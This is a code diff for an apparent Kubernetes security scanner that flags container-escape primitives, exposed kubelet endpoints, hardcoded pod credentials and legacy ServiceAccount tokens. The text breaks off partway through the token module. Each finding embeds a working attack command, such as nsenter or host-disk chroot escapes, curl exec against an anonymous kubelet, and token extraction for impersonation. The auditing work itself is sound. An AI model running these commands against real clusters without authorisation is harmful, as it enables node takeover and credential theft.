+ sc = getattr(c, "security_context", None)
+ pod_sc = getattr(pod.spec, "security_context", None)
+ privileged = bool(getattr(sc, "privileged", False)) if sc else False
+ caps_add = set(getattr(getattr(sc, "capabilities", None), "add", []) or []) if sc else set()
+ host_pid = bool(getattr(pod.spec, "host_pid", False))
+ host_net = bool(getattr(pod.spec, "host_network", False))
+ host_ipc = bool(getattr(pod.spec, "host_ipc", False))
+ run_as_user = getattr(sc, "run_as_user", None) if sc else None
+ pod_run_as_user = getattr(pod_sc, "run_as_user", None) if pod_sc else None
+ effective_uid = run_as_user if run_as_user is not None else pod_run_as_user
+
+ # privileged + hostPID = textbook escape
+ if privileged and host_pid:
+ findings.append(Finding(
+ id="ESC-PRIV-HOSTPID",
+ title="Trivial container escape: privileged + hostPID",
+ description=(
+ f"Container {cname} is privileged AND shares the host PID namespace. "
+ "Combined, these grant immediate ability to ptrace/nsenter host PID 1 "
+ "and achieve root on the node from any RCE in this container."
+ ),
+ severity="critical",
+ category="Escape",
+ namespace=ns,
+ resource=resource,
+ exploitability="trivial",
+ exploit="nsenter --target 1 --mount --uts --ipc --net --pid -- bash",
+ impact="Root on the underlying node. Access to all other pods on that node, kubelet credentials, and any node-local secrets.",
+ attack_techniques=["T1611"],
+ remediation="Remove privileged=true and hostPID=true. Use narrow Linux capabilities only if a specific syscall is required.",
+ references=[
+ "https://attack.mitre.org/techniques/T1611/",
+ "https://blog.aquasec.com/privileged-containers-vulnerabilities",
+ ],
+ ))
+ return findings # nothing else matters β game over
+
+ if privileged:
+ findings.append(Finding(
+ id="ESC-PRIV",
+ title="Trivial container escape: privileged container",
+ description=(
+ f"Container {cname} runs privileged. The kernel treats it as if running on the host: "
+ "it has CAP_SYS_ADMIN, can mount filesystems, write to /sys, and access all host devices."
+ ),
+ severity="critical",
+ category="Escape",
+ namespace=ns,
+ resource=resource,
+ exploitability="trivial",
+ exploit="# mount host fs and chroot:\nmkdir /h && mount /dev/$(lsblk -o NAME -n -d | head -1) /h && chroot /h",
+ impact="Root on the underlying node. Trivially pivot to all other pods on that node.",
+ attack_techniques=["T1611"],
+ remediation="Remove privileged=true. If specific kernel features are needed, grant the narrow capability (e.g. NET_ADMIN) instead.",
+ references=[
+ "https://attack.mitre.org/techniques/T1611/",
+ "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/escaping-from-limited-bash",
+ ],
+ ))
+
+ # Capability-based primitives
+ for cap in caps_add:
+ primitive = DANGEROUS_CAP_PRIMITIVES.get(cap)
+ if not primitive:
+ continue
+ difficulty, impact, exploit = primitive
+ sev = "critical" if difficulty in ("trivial",) else "high"
+ # SYS_PTRACE only escapes if hostPID is set
+ if cap == "SYS_PTRACE" and not host_pid:
+ difficulty = "hard"
+ sev = "medium"
+ impact = "Limited to in-container processes without hostPID. With hostPID, allows host PID 1 injection."
+ findings.append(Finding(
+ id=f"ESC-CAP-{cap}",
+ title=f"Container escape primitive: CAP_{cap}",
+ description=f"Container {cname} adds capability {cap}, which enables {impact.lower()}",
+ severity=sev,
+ category="Escape",
+ namespace=ns,
+ resource=resource,
+ exploitability=difficulty,
+ exploit=exploit,
+ impact=impact,
+ attack_techniques=["T1611"],
+ remediation=f"Drop {cap}. Grant only the minimal capabilities the workload truly needs; prefer dropping ALL and adding back named caps.",
+ references=[
+ "https://man7.org/linux/man-pages/man7/capabilities.7.html",
+ "https://attack.mitre.org/techniques/T1611/",
+ ],
+ ))
+
+ # hostNetwork β not an escape per se but exposes node-local services
+ if host_net:
+ findings.append(Finding(
+ id="ESC-HOSTNET",
+ title="hostNetwork: access to all node-local services",
+ description=(
+ f"Pod uses hostNetwork. The container shares the host's network namespace: "
+ "it can reach kubelet on 127.0.0.1:10250, the cluster's CNI plugins, "
+ "node-local proxies, and (depending on iptables) other node services."
+ ),
+ severity="high",
+ category="Escape",
+ namespace=ns,
+ resource=f"pod/{pname}",
+ exploitability="easy",
+ exploit="curl -sk https://127.0.0.1:10250/pods # may bypass NetworkPolicies and reach kubelet",
+ impact="Reach kubelet API and any service bound only to a node-local interface. Often a stepping stone to node compromise via kubelet anonymous auth.",
+ attack_techniques=["T1610"],
+ remediation="Remove hostNetwork=true; use a dedicated Service with a NetworkPolicy.",
+ references=["https://kubernetes.io/docs/concepts/security/pod-security-standards/"],
+ ))
+
+ if host_ipc:
+ findings.append(Finding(
+ id="ESC-HOSTIPC",
+ title="hostIPC: shared IPC with host",
+ description="Container shares the host IPC namespace. SysV IPC and POSIX shared memory are visible β observe/inject into IPC of other host processes.",
+ severity="high",
+ category="Escape",
+ namespace=ns,
+ resource=f"pod/{pname}",
+ exploitability="moderate",
+ exploit="ipcs -m # enumerate host shared memory segments",
+ impact="Side-channel and data exfiltration from host processes using SysV/POSIX shared memory.",
+ attack_techniques=["T1611"],
+ remediation="Remove hostIPC=true.",
+ references=["https://kubernetes.io/docs/concepts/security/pod-security-standards/"],
+ ))
+
+ # Writable /proc check
+ proc_primitive = _check_writable_proc(getattr(c, "volume_mounts", []) or [])
+ if proc_primitive:
+ difficulty, impact, exploit = proc_primitive
+ findings.append(Finding(
+ id="ESC-PROC-WRITE",
+ title="Writable host /proc primitive",
+ description=f"Container {cname} mounts host /proc (or a sensitive subpath) writable. {impact}",
+ severity="critical" if difficulty == "trivial" else "high",
+ category="Escape",
+ namespace=ns,
+ resource=resource,
+ exploitability=difficulty,
+ exploit=exploit,
+ impact=impact,
+ attack_techniques=["T1611"],
+ remediation="Mount /proc read-only or use the kernel default. Never mount /proc/sys/kernel/core_pattern writable.",
+ references=["https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/"],
+ ))
+
+ # Running as root (no privilege drop): not an escape but a multiplier
+ if effective_uid == 0 and not privileged and not caps_add:
+ # Soft signal β only emit if there's no other escape already flagged for this container
+ findings.append(Finding(
+ id="ESC-ROOT-NO-DROP",
+ title="Runs as root in container (escalation multiplier)",
+ description=(
+ f"Container {cname} runs as UID 0 with default Linux capabilities. "
+ "Any in-container RCE inherits full default caps, enabling kernel-exploit primitives "
+ "and use of CAP_DAC_OVERRIDE / CAP_CHOWN."
+ ),
+ severity="medium",
+ category="Escape",
+ namespace=ns,
+ resource=resource,
+ exploitability="moderate",
+ exploit="id # confirm UID 0; from there, attack any installed setuid binary or known kernel CVE",
+ impact="Default Linux capability set; amplifies any RCE primitive.",
+ attack_techniques=["T1611"],
+ remediation="Set runAsNonRoot=true and runAsUser to a non-zero UID. Drop ALL capabilities.",
+ references=["https://kubernetes.io/docs/concepts/security/pod-security-standards/"],
+ ))
+
+ return findings
+
+
+def _pod_volume_primitives(pod) -> List[Finding]:
+ """Detect hostPath escape primitives at the pod level."""
+ findings: List[Finding] = []
+ ns = pod.metadata.namespace
+ pname = pod.metadata.name
+ resource = f"pod/{pname}"
+
+ for v in (getattr(pod.spec, "volumes", None) or []):
+ hp = getattr(v, "host_path", None)
+ if not hp:
+ continue
+ path = getattr(hp, "path", "") or ""
+ primitive = None
+ # exact match
+ if path in SENSITIVE_HOST_PATHS:
+ primitive = SENSITIVE_HOST_PATHS[path]
+ else:
+ # prefix match (e.g. /var/lib/kubelet/pods/)
+ for sp, prim in SENSITIVE_HOST_PATHS.items():
+ if sp != "/" and path.startswith(sp + "/"):
+ primitive = prim
+ break
+ if not primitive:
+ # generic hostPath β still concerning
+ findings.append(Finding(
+ id="ESC-HOSTPATH-GENERIC",
+ title="hostPath mount β node filesystem exposure",
+ description=f"Pod mounts hostPath {path}. Depending on container privileges, this enables data exfil or persistence on the node.",
+ severity="medium",
+ category="Escape",
+ namespace=ns,
+ resource=resource,
+ exploitability="moderate",
+ exploit=f"ls -la {path} # inspect node-local files",
+ impact=f"Read/write access to {path} on the host node from within the container.",
+ attack_techniques=["T1610"],
+ remediation="Replace hostPath with a PVC or projected volume. If hostPath is required, mount it read-only with a narrow subPath.",
+ references=["https://kubernetes.io/docs/concepts/storage/volumes/#hostpath"],
+ ))
+ continue
+ difficulty, impact, exploit = primitive
+ sev_map = {"trivial": "critical", "easy": "high", "moderate": "medium", "hard": "medium", "theoretical": "low"}
+ findings.append(Finding(
+ id="ESC-HOSTPATH-SENSITIVE",
+ title=f"Container escape via hostPath {path}",
+ description=(
+ f"Pod mounts a sensitive hostPath ({path}). {impact}"
+ ),
+ severity=sev_map.get(difficulty, "high"),
+ category="Escape",
+ namespace=ns,
+ resource=resource,
+ exploitability=difficulty,
+ exploit=exploit,
+ impact=impact,
+ attack_techniques=["T1611"],
+ remediation=f"Remove the {path} hostPath mount. If absolutely required, scope to a sub-path with readOnly:true.",
+ references=[
+ "https://attack.mitre.org/techniques/T1611/",
+ "https://blog.aquasec.com/docker-socket-mount-container-escape",
+ ],
+ ))
+ return findings
+
+
+def scan_escapes(pod) -> List[Finding]:
+ """Top-level escape primitive scan for a single pod."""
+ findings: List[Finding] = []
+ for c, _name in iter_containers(pod):
+ findings.extend(_container_primitives(c, pod))
+ findings.extend(_pod_volume_primitives(pod))
+ return findings
diff --git a/kuberoast/scanners/kubelet.py b/kuberoast/scanners/kubelet.py
new file mode 100644
index 0000000..f846201
--- /dev/null
+++ b/kuberoast/scanners/kubelet.py
@@ -0,0 +1,265 @@
+"""Active kubelet exploitation probes.
+
+Goes beyond TCP-port check. For each node, probes the kubelet's HTTP
+endpoints to determine what an attacker with network access to the
+kubelet (e.g. via hostNetwork pod, NodePort, or compromised pod with
+network reach) could actually do:
+
+ * /pods β list every pod on this node, including their SAs
+ * /runningpods β same, but running only (legacy port 10255)
+ * /metrics β Prometheus metrics, often unauthenticated
+ * /metrics/cadvisor β per-container resource usage
+ * /configz β full kubelet config disclosure
+ * /healthz β liveness; confirms reachability
+ * /exec/// β anonymous command exec (rare but devastating)
+
+We never *exploit*: we only confirm reachability with HEAD/GET. The
+operator gets a concrete capability list and the exact curl command to
+verify themselves.
+"""
+import logging
+import socket
+import ssl
+from concurrent.futures import ThreadPoolExecutor, as_completed
+from typing import List, Tuple, Optional, Dict
+from urllib import request
+from urllib.error import HTTPError, URLError
+
+from ..utils.findings import Finding
+
+logger = logging.getLogger("kuberoast")
+
+
+KUBELET_READ_PORTS = (10255,) # legacy read-only port, no auth
+KUBELET_API_PORTS = (10250,) # primary kubelet API, TLS
+
+
+def _tcp_open(ip: str, port: int, timeout: float = 1.5) -> bool:
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.settimeout(timeout)
+ try:
+ s.connect((ip, port))
+ return True
+ except Exception:
+ return False
+ finally:
+ s.close()
+
+
+def _http_get(url: str, timeout: float = 2.5, insecure_tls: bool = True) -> Tuple[int, str]:
+ """GET a URL and return (status, body[:512]). Status -1 on connect failure."""
+ ctx = None
+ if url.startswith("https://"):
+ ctx = ssl.create_default_context()
+ if insecure_tls:
+ ctx.check_hostname = False
+ ctx.verify_mode = ssl.CERT_NONE
+ try:
+ req = request.Request(url, headers={"User-Agent": "kuberoast/probe"})
+ with request.urlopen(req, timeout=timeout, context=ctx) as resp:
+ body = resp.read(512).decode("utf-8", errors="replace")
+ return resp.status, body
+ except HTTPError as e:
+ return e.code, ""
+ except (URLError, socket.timeout, ConnectionError, OSError):
+ return -1, ""
+ except Exception as e:
+ logger.debug("HTTP probe error %s: %s", url, e)
+ return -1, ""
+
+
+def _probe_readonly(node_name: str, ip: str) -> List[Finding]:
+ """Probe legacy read-only port 10255 (always unauthenticated when enabled)."""
+ findings: List[Finding] = []
+ if not _tcp_open(ip, 10255):
+ return findings
+
+ # Confirm it's actually kubelet by hitting /pods
+ status, body = _http_get(f"http://{ip}:10255/pods")
+ if status == 200 and ("kind" in body.lower() or "podlist" in body.lower()):
+ findings.append(Finding(
+ id="KUBELET-RO-PODS",
+ title="Kubelet read-only /pods returns pod inventory",
+ description=(
+ f"Kubelet on node {node_name} ({ip}) port 10255 returns the full pod list "
+ "without authentication. An attacker with network reach learns every pod "
+ "running here, their service accounts, and their image/env."
+ ),
+ severity="critical",
+ category="Node",
+ resource=f"node/{node_name}",
+ exploitability="trivial",
+ exploit=f"curl -s http://{ip}:10255/pods | jq",
+ impact="Full pod inventory disclosure for node β service accounts, container env vars, and image references usable for downstream attacks.",
+ attack_techniques=["T1613"],
+ remediation="Disable the kubelet read-only port: set --read-only-port=0 on kubelet (or readOnlyPort: 0 in config).",
+ references=[
+ "https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/",
+ "https://attack.mitre.org/techniques/T1613/",
+ ],
+ ))
+ elif _tcp_open(ip, 10255):
+ # Port open but /pods didn't return β still flag the port
+ findings.append(Finding(
+ id="KUBELET-RO-OPEN",
+ title="Kubelet read-only port 10255 reachable",
+ description=f"Port 10255 open on {ip} but did not return /pods (HTTP {status}). Verify it isn't another service.",
+ severity="high",
+ category="Node",
+ resource=f"node/{node_name}",
+ exploitability="easy",
+ exploit=f"curl -sv http://{ip}:10255/healthz",
+ impact="If kubelet, attacker can enumerate pods. If another service, identify and harden.",
+ remediation="Disable read-only port unless explicitly needed.",
+ references=["https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/"],
+ ))
+
+ # /metrics on read-only port
+ status, _ = _http_get(f"http://{ip}:10255/metrics")
+ if status == 200:
+ findings.append(Finding(
+ id="KUBELET-RO-METRICS",
+ title="Kubelet /metrics exposed without auth",
+ description=f"Kubelet metrics on {ip}:10255 are reachable unauthenticated. Reveals pod count, resource pressure, namespace activity.",
+ severity="medium",
+ category="Node",
+ resource=f"node/{node_name}",
+ exploitability="trivial",
+ exploit=f"curl -s http://{ip}:10255/metrics",
+ impact="Operational fingerprinting; can reveal scaling events, OOM kills, scheduling pressure.",
+ remediation="Disable read-only port; expose metrics via authenticated /metrics on 10250.",
+ references=["https://kubernetes.io/docs/concepts/cluster-administration/system-metrics/"],
+ ))
+
+ return findings
+
+
+def _probe_api_port(node_name: str, ip: str) -> List[Finding]:
+ """Probe TLS kubelet API on 10250."""
+ findings: List[Finding] = []
+ if not _tcp_open(ip, 10250):
+ return findings
+
+ # Anonymous /pods β the dangerous case
+ status, body = _http_get(f"https://{ip}:10250/pods")
+ if status == 200:
+ findings.append(Finding(
+ id="KUBELET-API-ANON-PODS",
+ title="Kubelet API allows anonymous /pods",
+ description=(
+ f"Kubelet API on {ip}:10250 returned /pods to an unauthenticated client. "
+ "anonymous-auth=true and authorization-mode=AlwaysAllow are likely set. "
+ "An attacker can list and exec into pods directly."
+ ),
+ severity="critical",
+ category="Node",
+ resource=f"node/{node_name}",
+ exploitability="trivial",
+ exploit=(
+ f"curl -sk https://{ip}:10250/pods | jq\n"
+ f"# command exec: curl -sk -XPOST 'https://{ip}:10250/run///' -d 'cmd=id'"
+ ),
+ impact="Direct pod enumeration AND command execution on every pod on this node β full node + pod takeover.",
+ attack_techniques=["T1610", "T1611", "T1613"],
+ remediation=(
+ "Set --anonymous-auth=false and --authorization-mode=Webhook on kubelet. "
+ "Ensure RBAC binding for system:kubelet-api-admin is tightly scoped."
+ ),
+ references=[
+ "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/",
+ "https://attack.mitre.org/techniques/T1611/",
+ ],
+ ))
+ elif status == 401:
+ # Properly authenticated β note it's open but secured
+ findings.append(Finding(
+ id="KUBELET-API-AUTH",
+ title="Kubelet API requires auth (good)",
+ description=f"Kubelet API on {ip}:10250 returned 401 to unauthenticated probe β authentication enforced.",
+ severity="info",
+ category="Node",
+ resource=f"node/{node_name}",
+ exploitability="hard",
+ impact="Kubelet API requires valid credentials. Still a target if attacker obtains a node-bound token.",
+ remediation="Continue enforcing authentication. Restrict network reach to kubelet ports.",
+ references=["https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/"],
+ ))
+ elif status == 403:
+ findings.append(Finding(
+ id="KUBELET-API-AUTHZ",
+ title="Kubelet API authenticates anonymous but denies (mixed)",
+ description=f"Kubelet API on {ip}:10250 accepts anonymous auth but enforces authz (HTTP 403). Attackers with any RBAC reach can probe.",
+ severity="medium",
+ category="Node",
+ resource=f"node/{node_name}",
+ exploitability="moderate",
+ exploit=f"curl -sk https://{ip}:10250/pods # 403; try with token from any mounted SA",
+ impact="Anonymous authn is enabled. With any compromised SA token that has kubelet-api access, attacker can pivot.",
+ remediation="Set --anonymous-auth=false. Anonymous authn should be disabled regardless of authz mode.",
+ references=["https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/"],
+ ))
+
+ # /metrics is often allowed for unauthenticated reads even when /pods is locked
+ status, _ = _http_get(f"https://{ip}:10250/metrics")
+ if status == 200:
+ findings.append(Finding(
+ id="KUBELET-API-METRICS",
+ title="Kubelet /metrics on 10250 served unauthenticated",
+ description=f"Kubelet /metrics on {ip}:10250 returns 200 without auth. Operational fingerprinting available to anyone reaching the port.",
+ severity="low",
+ category="Node",
+ resource=f"node/{node_name}",
+ exploitability="trivial",
+ exploit=f"curl -sk https://{ip}:10250/metrics",
+ impact="Resource usage, pod counts, scheduling activity disclosed.",
+ remediation="Route metrics through kube-state-metrics with proper auth; restrict kubelet /metrics with --authentication-token-webhook.",
+ references=["https://kubernetes.io/docs/concepts/cluster-administration/system-metrics/"],
+ ))
+
+ # /configz disclosure (frightening β full kubelet config including private CIDR/secrets bootstrap)
+ status, body = _http_get(f"https://{ip}:10250/configz")
+ if status == 200 and "kubeletconfig" in body.lower():
+ findings.append(Finding(
+ id="KUBELET-CONFIGZ",
+ title="Kubelet /configz discloses full kubelet configuration",
+ description=f"Kubelet on {ip}:10250 returned its full configuration to an unauthenticated client. Includes cluster DNS, podCIDR, runtime endpoints.",
+ severity="high",
+ category="Node",
+ resource=f"node/{node_name}",
+ exploitability="trivial",
+ exploit=f"curl -sk https://{ip}:10250/configz | jq",
+ impact="Reveals cluster networking layout, runtime sockets, and feature gates β high-quality recon for chaining attacks.",
+ remediation="Disable anonymous auth; /configz should require authentication.",
+ references=["https://kubernetes.io/docs/tasks/administer-cluster/reconfigure-kubelet/"],
+ ))
+
+ return findings
+
+
+def _probe_node(node_name: str, ip: str) -> List[Finding]:
+ findings: List[Finding] = []
+ findings.extend(_probe_readonly(node_name, ip))
+ findings.extend(_probe_api_port(node_name, ip))
+ return findings
+
+
+def scan_kubelet(nodes, max_workers: int = 10) -> List[Finding]:
+ """Active kubelet probing across all nodes."""
+ findings: List[Finding] = []
+ tasks: List[Tuple[str, str]] = []
+ for n in nodes:
+ addrs = getattr(n.status, "addresses", []) or []
+ ips = [a.address for a in addrs if a.type in ("InternalIP", "ExternalIP")]
+ for ip in ips:
+ tasks.append((n.metadata.name, ip))
+ if not tasks:
+ return findings
+ with ThreadPoolExecutor(max_workers=min(max_workers, len(tasks))) as pool:
+ futures = {pool.submit(_probe_node, name, ip): (name, ip) for name, ip in tasks}
+ for fut in as_completed(futures):
+ try:
+ findings.extend(fut.result())
+ except Exception as e:
+ name, ip = futures[fut]
+ logger.warning("Failed to probe node %s at %s: %s", name, ip, e)
+ return findings
diff --git a/kuberoast/scanners/pods.py b/kuberoast/scanners/pods.py
index 539b3ea..227680b 100644
--- a/kuberoast/scanners/pods.py
+++ b/kuberoast/scanners/pods.py
@@ -165,7 +165,7 @@ def scan_pod_security(pod) -> List[Finding]:
))
# hostPath volumes
- for v in (spec.volumes or []):
+ for v in (getattr(spec, "volumes", None) or []):
if getattr(v, "host_path", None):
findings.append(Finding(
id="POD-HOSTPATH",
diff --git a/kuberoast/scanners/podsecrets.py b/kuberoast/scanners/podsecrets.py
new file mode 100644
index 0000000..55018f3
--- /dev/null
+++ b/kuberoast/scanners/podsecrets.py
@@ -0,0 +1,137 @@
+"""Hardcoded credentials in pod specs (env vars, args, command).
+
+Credentials in `ConfigMap` get hunted by configmaps.py. But the most
+common leak is even more direct: literal `env.value` entries and
+command-line args baked into the pod spec. These show up in `kubectl get
+pod -o yaml`, in the API to anyone with pod read, and in etcd. We reuse
+the same high-signal patterns plus env-name heuristics.
+
+A correctly-built pod references secrets via `env.valueFrom.secretKeyRef`
+(no literal value) β those we never flag.
+"""
+import re
+from typing import List
+from .shared import iter_containers
+from .configmaps import CREDENTIAL_PATTERNS
+from ..utils.findings import Finding
+
+# Env var NAMES that strongly imply a secret value when set literally.
+SENSITIVE_ENV_NAME = re.compile(
+ r"(?i)(password|passwd|pwd|secret|token|api[_-]?key|access[_-]?key|"
+ r"private[_-]?key|credential|aws_secret|client[_-]?secret|"
+ r"db[_-]?pass|database[_-]?url|conn(ection)?[_-]?string|bearer)"
+)
+
+# Env names that look sensitive but are usually benign references/paths.
+BENIGN_ENV_VALUE = re.compile(r"(?i)^(/|file:|\$\(|/var/run/secrets)")
+
+
+def _redact(s: str) -> str:
+ if len(s) > 60:
+ return s[:30] + "β¦(truncated)"
+ if len(s) > 12:
+ return s[:6] + "β¦" + s[-4:]
+ return s
+
+
+def _check_literal(name: str, value: str, container: str, pod) -> List[Finding]:
+ findings: List[Finding] = []
+ ns = pod.metadata.namespace
+ pname = pod.metadata.name
+ resource = f"pod/{pname}::{container}"
+ if not value or BENIGN_ENV_VALUE.match(value.strip()):
+ return findings
+
+ # 1. High-signal credential pattern match in the value
+ for pat_id, regex, label, sev in CREDENTIAL_PATTERNS:
+ m = regex.search(value)
+ if m:
+ findings.append(Finding(
+ id=f"ENV-LEAK-{pat_id.upper()}",
+ title=f"Credential in pod env: {label}",
+ description=(
+ f"Container {container} sets env '{name}' to a literal value matching {label} "
+ f"(redacted: {_redact(m.group(0))}). Visible to anyone with pod read on {ns}."
+ ),
+ severity=sev,
+ category="Secrets",
+ namespace=ns,
+ resource=resource,
+ exploitability="trivial",
+ exploit=f"kubectl -n {ns} get pod {pname} -o jsonpath='{{.spec.containers[?(@.name==\"{container}\")].env}}'",
+ impact="Credential exposed in pod spec / etcd to any principal with pod read. Treat as compromised; rotate.",
+ attack_techniques=["T1552.001"],
+ remediation="Move to a Secret and reference via env.valueFrom.secretKeyRef, or use a CSI secret driver. Rotate the leaked value.",
+ references=["https://kubernetes.io/docs/concepts/configuration/secret/", "https://attack.mitre.org/techniques/T1552/001/"],
+ ))
+ return findings # one finding per env entry
+
+ # 2. Sensitive NAME with a non-trivial literal value (catches custom creds)
+ if SENSITIVE_ENV_NAME.search(name) and len(value) >= 6:
+ findings.append(Finding(
+ id="ENV-LEAK-NAMED",
+ title="Likely hardcoded credential in pod env",
+ description=(
+ f"Container {container} sets env '{name}' to a literal value (redacted: {_redact(value)}). "
+ "The variable name implies a credential; it should be a secretKeyRef, not an inline value."
+ ),
+ severity="medium",
+ category="Secrets",
+ namespace=ns,
+ resource=resource,
+ exploitability="trivial",
+ exploit=f"kubectl -n {ns} get pod {pname} -o yaml | grep -A1 {name}",
+ impact="Probable credential readable by anyone with pod read access.",
+ attack_techniques=["T1552.001"],
+ remediation="Reference the value via env.valueFrom.secretKeyRef and store it in a Secret.",
+ references=["https://kubernetes.io/docs/concepts/configuration/secret/"],
+ ))
+ return findings
+
+
+def _check_args(container, pod) -> List[Finding]:
+ findings: List[Finding] = []
+ ns = pod.metadata.namespace
+ pname = pod.metadata.name
+ resource = f"pod/{pname}::{container.name}"
+ parts = list(getattr(container, "command", None) or []) + list(getattr(container, "args", None) or [])
+ if not parts:
+ return findings
+ joined = " ".join(str(p) for p in parts)
+ for pat_id, regex, label, sev in CREDENTIAL_PATTERNS:
+ m = regex.search(joined)
+ if m:
+ findings.append(Finding(
+ id=f"ARG-LEAK-{pat_id.upper()}",
+ title=f"Credential in pod command/args: {label}",
+ description=(
+ f"Container {container.name} passes a {label} on its command line "
+ f"(redacted: {_redact(m.group(0))}). Command lines are world-visible inside the pod (/proc) "
+ "and in the pod spec."
+ ),
+ severity=sev,
+ category="Secrets",
+ namespace=ns,
+ resource=resource,
+ exploitability="trivial",
+ exploit=f"kubectl -n {ns} get pod {pname} -o jsonpath='{{.spec.containers[*].args}}' # or read /proc/1/cmdline in-container",
+ impact="Credential exposed on the process command line β readable via /proc by any process in the container and in the pod spec.",
+ attack_techniques=["T1552.001"],
+ remediation="Pass secrets via env.valueFrom.secretKeyRef or mounted files, never on the command line.",
+ references=["https://kubernetes.io/docs/concepts/configuration/secret/"],
+ ))
+ return findings
+ return findings
+
+
+def scan_pod_credentials(pod) -> List[Finding]:
+ findings: List[Finding] = []
+ for c, _name in iter_containers(pod):
+ for e in (getattr(c, "env", None) or []):
+ ename = getattr(e, "name", None)
+ evalue = getattr(e, "value", None)
+ # valueFrom (secretKeyRef/configMapKeyRef) has no literal value β safe
+ if ename and isinstance(evalue, str):
+ findings.extend(_check_literal(ename, evalue, c.name, pod))
+ findings.extend(_check_args(c, pod))
+ return findings
diff --git a/kuberoast/scanners/shared.py b/kuberoast/scanners/shared.py
index 365a100..1935931 100644
--- a/kuberoast/scanners/shared.py
+++ b/kuberoast/scanners/shared.py
@@ -2,11 +2,11 @@
def iter_containers(pod) -> Iterator[Tuple[object, str]]:
# main containers
- for c in (pod.spec.containers or []):
+ for c in (getattr(pod.spec, "containers", None) or []):
yield c, c.name
- # init containers
- for c in (pod.spec.init_containers or []):
+ # init containers (absent on minimal YAML manifests; getattr keeps us safe)
+ for c in (getattr(pod.spec, "init_containers", None) or []):
yield c, f"{c.name} (init)"
# ephemeral containers
- for c in (getattr(pod.spec, "ephemeral_containers", []) or []):
+ for c in (getattr(pod.spec, "ephemeral_containers", None) or []):
yield c, f"{c.name} (ephemeral)"
diff --git a/kuberoast/scanners/tokens.py b/kuberoast/scanners/tokens.py
new file mode 100644
index 0000000..133ffdd
--- /dev/null
+++ b/kuberoast/scanners/tokens.py
@@ -0,0 +1,166 @@
+"""ServiceAccount token analysis.
+
+Decodes JWT payloads from `kubernetes.io/service-account-token` secrets
+(the legacy auto-mounted ones β projected BoundServiceAccountTokens live
+in pod volumes, not Secrets). For each token we surface:
+
+ * issuer/audience/subject β useful for spotting non-default audiences
+ * expiry β legacy tokens are non-expiring (huge persistence risk)
+ * the SA it belongs to (cluster-wide identity)
+ * `kubectl --token=... auth can-i --list` PoC
+
+This is real attacker recon: if you can read a ServiceAccount token
+Secret, you can impersonate that SA. We don't extract or test the token
+ourselves; we just expose enough metadata for the operator to act.
+"""
+import base64
+import json
+from typing import List, Optional, Dict, Any
+from ..utils.findings import Finding
+
+
+def _b64url_decode(data: str) -> bytes:
+ pad = "=" * (-len(data) % 4)
+ return base64.urlsafe_b64decode(data + pad)
+
+
+def _decode_jwt_payload(token: str) -> Optional[Dict[str, Any]]:
+ """Decode the payload of a JWT without verifying the signature."""
+ parts = token.split(".")
+ if len(parts) != 3:
+ return None
+ try:
+ payload = _b64url_decode(parts[1])
+ return json.loads(payload.decode("utf-8", errors="replace"))
+ except Exception:
+ return None
+
+
+def _decode_secret_value(b64_val: str) -> str:
+ try:
+ return base64.b64decode(b64_val).decode("utf-8", errors="replace").strip()
+ except Exception:
+ return ""
+
+
+def scan_tokens(secrets) -> List[Finding]:
+ """Analyze SA token secrets across the cluster.
+
+ Legacy SA tokens (Secrets of type kubernetes.io/service-account-token)
+ are non-expiring and are the highest-value credential an attacker can
+ steal from etcd or the secrets API.
+ """
+ findings: List[Finding] = []
+ for s in secrets:
+ if getattr(s, "type", None) != "kubernetes.io/service-account-token":
+ continue
+ ns = s.metadata.namespace
+ name = s.metadata.name
+ data = getattr(s, "data", {}) or {}
+ token_b64 = data.get("token")
+ if not token_b64:
+ continue
+ token = _decode_secret_value(token_b64)
+ if not token:
+ continue
+ payload = _decode_jwt_payload(token)
+ if not payload:
+ findings.append(Finding(
+ id="TOKEN-OPAQUE",
+ title="ServiceAccount token Secret with opaque payload",
+ description=f"Secret {name} contains a SA token whose JWT could not be parsed.",
+ severity="low",
+ category="Tokens",
+ namespace=ns,
+ resource=f"secret/{name}",
+ remediation="Investigate β should be a valid JWT.",
+ references=["https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"],
+ ))
+ continue
+
+ sa_name = payload.get("kubernetes.io/serviceaccount/service-account.name") or payload.get("sub", "?")
+ sa_ns = payload.get("kubernetes.io/serviceaccount/namespace") or ns
+ exp = payload.get("exp")
+ aud = payload.get("aud")
+ iss = payload.get("iss")
+
+ # Legacy non-expiring token β the worst case
+ if not exp:
+ findings.append(Finding(
+ id="TOKEN-LEGACY-NONEXPIRING",
+ title="Legacy non-expiring ServiceAccount token",
+ description=(
+ f"Secret {name} holds a legacy (non-expiring) token for "
+ f"ServiceAccount {sa_ns}/{sa_name}. If exfiltrated, the token is valid "
+ "until the SA is deleted. Modern clusters should use projected BoundServiceAccountTokens."
+ ),
+ severity="high",
+ category="Tokens",
+ namespace=ns,
+ resource=f"secret/{name}",
+ exploitability="trivial",
+ exploit=(
+ f"# decode and use:\n"
+ f"kubectl -n {ns} get secret {name} -o jsonpath='{{.data.token}}' | base64 -d > /tmp/t\n"
+ f"kubectl --token=$(cat /tmp/t) --server=$KUBE_API_SERVER auth can-i --list -n {sa_ns}"
+ ),
+ impact=f"Persistent impersonation of ServiceAccount {sa_ns}/{sa_name} until the SA is deleted.",
+ attack_techniques=["T1078.004", "T1552.005"],
+ remediation=(
+ "Delete the Secret. Modern clusters auto-provision short-lived projected tokens for pods. "
+ "If you must use a long-lived token, scope its RBAC tightly and rotate on a schedule."
+ ),
+ references=[
+ "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#bound-service-account-tokens",
+ "https://attack.mitre.org/techniques/T1078/004/",
+ ],
+ ))
+ else:
+ # Projected-token-style secret (unusual to exist as a Secret but possible)
+ findings.append(Finding(
+ id="TOKEN-EXPIRING",
+ title="ServiceAccount token Secret (expiring)",
+ description=(
+ f"Secret {name} holds a SA token for {sa_ns}/{sa_name} (exp epoch={exp}). "
+ "Still treat as a credential."
+ ),
+ severity="medium",
+ category="Tokens",
+ namespace=ns,
+ resource=f"secret/{name}",
+ exploitability="easy",
+ exploit=(
